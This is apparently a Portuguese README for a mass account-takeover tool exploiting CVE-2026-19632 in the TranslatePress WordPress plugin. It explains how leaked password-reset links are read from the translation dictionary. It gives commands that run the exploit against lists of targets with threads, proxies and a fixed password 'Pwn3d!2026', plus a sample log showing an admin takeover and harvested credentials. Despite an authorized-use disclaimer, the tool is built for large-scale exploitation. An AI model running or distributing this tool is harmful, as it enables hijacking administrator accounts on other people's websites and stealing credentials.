
PoC de tomada de conta de conta não autenticada para TranslatePress Multilingual <= 3.3.1 (WordPress)
Ferramenta de assunção de conta em massa para CVE-2026-19632, uma assunção de conta não autenticada no plugin WordPress TranslatePress – Multilingual (≤ 3.3.1) causada pela divulgação do link de redefinição de senha. Um único comando por lista de alvos — a cadeia completa é executada automaticamente, e cada assunção bem-sucedida é gravada no arquivo de saída no momento em que acontece.
Aviso — uso apenas autorizado. Esta ferramenta altera senhas reais de contas e dispara e-mails reais de redefinição de senha. Use-a exclusivamente contra sistemas que você possui ou para os quais tem permissão escrita explícita para testar. O autor não é responsável por qualquer uso indevido.
| CVE | CVE-2026-19632 |
| Produto | TranslatePress – Multilingual (plugin WordPress, slug translatepress-multilingual), por Cozmoslabs |
| Afetado | Todas as versões ≤ 3.3.1 (mais de 400.000 instalações ativas) |
| Corrigido | 3.3.2 (correção: verificação current_user_can no manipulador AJAX público do dicionário) |
| CVSS 3.1 | 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (Exposição de Informações Sensíveis) + CWE-640 (Mecanismo Fraco de Recuperação de Senha) |
| Impacto | Assunção de conta de administrador não autenticada |
trp_data incluindo o nonce get_translations. Nonces para visitantes
desconectados são públicos por design; o plugin depende deles para segurança.wp_mail e traduz e-mails de saída no idioma do destinatário.
Quando um atacante anônimo dispara wp-login.php?action=lostpassword
para um administrador cujo idioma de perfil é um idioma secundário publicado,
todo o e-mail de redefinição — incluindo a URL wp-login.php?action=rp
em texto simples com a chave de redefinição válida — é inserido em
wp_trp_dictionary_<default>_<locale> sincronamente dentro da
requisição do atacante. O SMTP nem precisa funcionar.trp_get_translations_regular é registrado
como wp_ajax_nopriv e, antes da 3.3.2, apenas verificava o nonce público.
Qualquer pessoa pode enumerar o dicionário por string_ids e extrair a chave.Análise técnica completa: CVE-2026-19632-REPORT.md
cve-2026-19632.pyUm único script autocontido que executa a cadeia completa para cada alvo em uma lista:
readme.txt)trp_data + sondagem do seletor de idiomas)url|username|password ao arquivo de saída
(flush, thread-safe, sem esperar o término da execução)Robustez incorporada:
--new-password).pip install -r requirements.txt
# execução completa contra uma lista de alvos, 20 threads
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# senha fixa para cada alvo
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# através de um proxy
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Opção | Descrição |
|---|---|
-l, --list | Arquivo com uma URL de alvo por linha (comentários # permitidos) |
-o, --output | Arquivo de resultados, formato url|username|password (padrão vuln.txt) |
-t, --threads | Workers concorrentes (padrão 10) |
--new-password | Senha fixa para todos os alvos (padrão: aleatória de 14 caracteres por alvo) |
--timeout | Timeout por requisição em segundos (padrão 15) |
--proxy | Proxy HTTP, ex.: http://127.0.0.1:8080 |
--no-color | Desativa saída colorida |
Log de terminal contra uma instância de laboratório (WordPress 7.0.4 + TranslatePress 3.3.1,
ar padrão → en_US secundário) — valores sanitizados:
[00:09:06] [INFO] Ferramenta de assunção CVE-2026-19632 - 3 alvo(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (sem TranslatePress)
[00:09:07] [INFO] http://TARGET TP encontrado - idiomas: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] candidatos de usuário: ['admin', ...]
[00:09:09] [WARN] tentativa 1/3 falhou (chave obsoleta)
[00:09:09] [WARN] tentativa 2/3 falhou (chave obsoleta)
[00:09:09] [WARN] tentativa 3/3 falhou (chave obsoleta)
[00:09:09] [INFO] todas as chaves obsoletas - disparando nova redefinição...
[00:09:15] [TAKEOVER] http://TARGET SUCESSO - usuário='admin' senha='Pwn3d!2026'
[00:09:15] [INFO] concluído. resumo: ERRO=1 | SKIP=1 | TAKEOVER=1
vuln.txt (gravado ao vivo, no momento do sucesso):
http://TARGET|admin|Pwn3d!2026
Trate
vuln.txtcomo um artefato sensível — ele contém credenciais ativas e/ou chaves de redefinição válidas. Adicione-o ao.gitignore.
Não é necessário: um servidor de e-mail funcional (a URL é armazenada dentro do
filtro wp_mail, antes da tentativa de envio).
admin-ajax.php para enumeração sequencial de string_ids
com um nonce security público.| Data | Evento |
|---|---|
| 2026-08-12 | CVE-2026-19632 reservado |
| 2026-08-13 | TranslatePress 3.3.2 lançado com a correção |
| 2026-08-25/26 | Wordfence publica o aviso; 8.618 tentativas de exploração bloqueadas em 24h |
| 2026-08-28 | Aviso ThaiCERT |
momopon1415) e a equipe Wordfence, creditados no changelog da 3.3.2.MIT © 2026 ghostpel